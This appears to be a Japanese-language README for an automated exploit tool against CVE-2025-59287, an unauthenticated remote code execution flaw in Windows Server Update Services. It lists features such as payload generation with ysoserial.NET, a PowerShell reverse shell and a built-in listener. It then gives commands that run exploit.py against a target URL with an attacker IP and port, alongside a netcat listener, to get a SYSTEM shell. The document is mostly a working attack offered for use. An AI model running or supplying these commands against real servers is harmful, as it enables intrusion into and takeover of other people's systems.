CVE-2025-59287 WSUS RCE エクスプロイト

Windows Server Update Services (WSUS) の未認証リモートコード実行の脆弱性に対する自動化エクスプロイト。

脆弱性の詳細

• CVE ID: CVE-2025-59287
• CVSS スコア: 9.8 (Critical)
• 攻撃ベクトル: ネットワーク
• 認証: 不要
• 影響: SYSTEM としてのリモートコード実行

機能

✅ 完全自動化されたペイロード生成
✅ ysoserial.NET 依存関係の自動ダウンロード
✅ 内蔵リバースシェルリスナー
✅ クロスプラットフォーム対応 (Windows/Linux/Mac)
✅ WSUS ハードコード鍵による AES 暗号化
✅ PowerShell リバースシェルペイロード

要件

pip install -r requirements.txt

Python 依存関係

.NET ランタイム (自動検出)

• Windows: .NET Framework (内蔵)
• Linux/Mac: Wine または Mono Ubuntu/Debian

sudo apt install wine-stable

sudo apt install mono-complete

インストール

エクスプロイトファイルをクローンまたはダウンロード

cd CVE-2025-59287-exploit

エクスプロイトを実行 (ysoserial.NET を自動ダウンロード)

python3 exploit.py -u http://target:8530 -lhost YOUR_IP -lport 4444

使用方法

基本的なエクスプロイト

python3 exploit.py -u http://192.168.1.100:8530 -lhost 10.10.14.5 -lport 4444

別のリスナーでセッションを取得したい場合

ターミナル 1: netcat リスナーを起動

nc -lvnp 4444

ターミナル 2: 内蔵リスナーなしでエクスプロイトを実行

python3 exploit.py -u http://target:8530 -lhost 10.10.14.5 -lport 4444 --no-listener